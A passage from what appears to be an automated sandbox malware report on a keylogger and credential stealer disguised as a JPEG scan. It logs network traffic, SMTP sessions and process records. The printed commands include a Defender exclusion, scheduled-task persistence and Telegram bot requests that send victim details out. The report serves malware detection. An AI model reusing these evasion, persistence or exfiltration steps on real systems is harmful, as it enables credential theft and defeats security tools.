States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49767	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:18 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:18 UTC	894	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 374 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XvenkQNQc2PGLvbfzNrrOytasmdZwJqRu1p0U45%2FeC3C2QQXoc4p7EThc%2FFfQBt6RUbDyysaM5a9SDfx7zOT%2FwKLZIV6Oj6iMAn7XMzIcsOJpnj8A2irWWyAE%2FEGNqVxKhHQllIY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e8b6f670072-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1351&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2048090&cwnd=251&unsent_bytes=0&cid=fb086a492514ed51&ts=153&x=0"
2024-10-25 07:18:18 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49771	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:19 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:19 UTC	896	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 375 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AIowmj4otZoZnb%2FbMRGdzWoo%2FRUNwMvzVik9qRgHS7a9dilLHDPSmhWPAJujOgr61Ol0D46dMh6aUEcuEHdEfKEyPZp4cCK5L4hyl8ZE3n6%2BS92VnHWmR1a%2FVyWg5LoqVAPTGH%2FE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e916e01e9ca-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1135&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2490111&cwnd=249&unsent_bytes=0&cid=4db768bb56d32cf6&ts=153&x=0"
2024-10-25 07:18:19 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49770	149.154.167.220	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:19 UTC	345	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2019:19:15%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-25 07:18:19 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 25 Oct 2024 07:18:19 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-25 07:18:19 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49775	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:21 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:21 UTC	896	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 377 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Id2EZ7hhfX78YC0Qz2SvQYhOUHhOev4%2F%2B7i9ud18wrpVBbAGI9nnarcdpvYBuOCawJqMSSn0l01hu%2BVyYpfZG8dn3IqH%2BeTWDfcCgPb8RmW1yemPaYElKg1d0U%2BZG10KUtd9MtL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806ea11e192cba-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1460&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2421404&cwnd=242&unsent_bytes=0&cid=5bb8b97d0aebc815&ts=160&x=0"
2024-10-25 07:18:21 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49777	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:22 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:23 UTC	890	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:23 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 379 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2FR5qEatYF1SAQAiqtCc88vml7LyH07RTdc2LMQdTAPKSbNfTBOMHDbfMI8e6%2B2SDZ80dYqffsyeDOrT7PyE77U2PEzEzkOlhF7cuFTq06aBE30xcUivpCAfPbRxzoc1ZDHgEgnc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806eaa0a1e2d41-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1372&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2049539&cwnd=251&unsent_bytes=0&cid=4b1b430b4f023819&ts=152&x=0"
2024-10-25 07:18:23 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49778	149.154.167.220	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:24 UTC	345	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:927537%0D%0ADate%20and%20Time:%2025/10/2024%20/%2020:37:54%0D%0ACountry%20Name:%20United%20States%0D%0A[%20927537%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-25 07:18:24 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 25 Oct 2024 07:18:24 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-25 07:18:24 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 25, 2024 09:18:26.238082886 CEST	587	49779	104.243.33.38	192.168.2.4	220-gracious.crystalwebhosting.com ESMTP Exim 4.98 #2 Fri, 25 Oct 2024 03:18:26 -0400 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 25, 2024 09:18:26.239008904 CEST	49779	587	192.168.2.4	104.243.33.38	EHLO 927537
Oct 25, 2024 09:18:26.403197050 CEST	587	49779	104.243.33.38	192.168.2.4	250-gracious.crystalwebhosting.com Hello 927537 [173.254.250.81] 250-SIZE 52428800 250-LIMITS MAILMAX=1000 RCPTMAX=50000 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Oct 25, 2024 09:18:26.403522015 CEST	49779	587	192.168.2.4	104.243.33.38	STARTTLS
Oct 25, 2024 09:18:26.571563959 CEST	587	49779	104.243.33.38	192.168.2.4	220 TLS go ahead
Oct 25, 2024 09:18:30.363224030 CEST	587	49780	104.243.33.38	192.168.2.4	220-gracious.crystalwebhosting.com ESMTP Exim 4.98 #2 Fri, 25 Oct 2024 03:18:30 -0400 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 25, 2024 09:18:30.363590956 CEST	49780	587	192.168.2.4	104.243.33.38	EHLO 927537
Oct 25, 2024 09:18:30.525639057 CEST	587	49780	104.243.33.38	192.168.2.4	250-gracious.crystalwebhosting.com Hello 927537 [173.254.250.81] 250-SIZE 52428800 250-LIMITS MAILMAX=1000 RCPTMAX=50000 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Oct 25, 2024 09:18:30.526115894 CEST	49780	587	192.168.2.4	104.243.33.38	STARTTLS
Oct 25, 2024 09:18:30.688656092 CEST	587	49780	104.243.33.38	192.168.2.4	220 TLS go ahead

Target ID:	0
Start time:	03:17:58
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe"
Imagebase:	0xd30000
File size:	835'592 bytes
MD5 hash:	52F14C343D0B2EC1426E775C6B6569FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:18:01
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"
Imagebase:	0xf00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:18:01
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:18:01
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp"
Imagebase:	0xb50000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:18:01
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:18:01
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe"
Imagebase:	0x8b0000
File size:	835'592 bytes
MD5 hash:	52F14C343D0B2EC1426E775C6B6569FF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:18:02
Start date:	25/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:18:03
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe
Imagebase:	0x890000
File size:	835'592 bytes
MD5 hash:	52F14C343D0B2EC1426E775C6B6569FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:18:05
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp"
Imagebase:	0xb50000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:18:06
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:18:06
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"
Imagebase:	0x7a0000
File size:	835'592 bytes
MD5 hash:	52F14C343D0B2EC1426E775C6B6569FF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	230
Total number of Limit Nodes:	9

Executed Functions

Function 0C1C4410 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

0&, xrefs: 0C1C45DB

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID: 0&
API String ID: 0-766115343
Opcode ID: 6cd00cc168efec4a44d2a1d0a7dbc2757fe0a97b62f003e13acd7cfa901361f2
Instruction ID: d18c1767c0b459861aa1da516e37081d9121d394495c5b0087760ab2b95143f4
Opcode Fuzzy Hash: 6cd00cc168efec4a44d2a1d0a7dbc2757fe0a97b62f003e13acd7cfa901361f2
Instruction Fuzzy Hash: 16E12874E051198FCB14DFA9D5909AEBBB2FF89304F248169E405AB356D734AD81CFA0

Function 0C1CC128 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0561773f6093637d1e80b44848c67b7a37d765410da098629de99b80200d0ad1
Instruction ID: 08171c1ab97b5ac05c06444922fda9434f07ff5649328fc15d1131f1e81350d5
Opcode Fuzzy Hash: 0561773f6093637d1e80b44848c67b7a37d765410da098629de99b80200d0ad1
Instruction Fuzzy Hash: CDE1AC71B026048FDB15DBB6D4A0BAE77F6AFA9300F24446EE149DB2A4DB34DC01CB91

Function 0C1CAFFB Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc0e398c2f045d00f306e40adb1ef4dc7efb4cd0ffb1f0fc8bd1c3a56f7325c
Instruction ID: c4a4e68bdd36b38ba72379c8f7ef386c5d2e8f8a475b895aeed0009e62425c93
Opcode Fuzzy Hash: 5bc0e398c2f045d00f306e40adb1ef4dc7efb4cd0ffb1f0fc8bd1c3a56f7325c
Instruction Fuzzy Hash: 87A00204FDE01886D0099D9018D11F8C07C173B005F42700CB10A730424B58E82B201C

Function 0C1C75F4 Relevance: 1.8, APIs: 1, Instructions: 251
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0C1C7836

Memory Dump Source

Source File: 00000000.00000002.1741023330.000000000C1C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0C1C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c1c0000_Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3ab7eae77e17ddb0319e0393a5f5b903f9df225a41e036688c2ba4ef487c3609
Instruction ID: 261dd6e9c3037749656f1c49118376352d1ec11b44228f1d14c2b7ff1a4f9afb
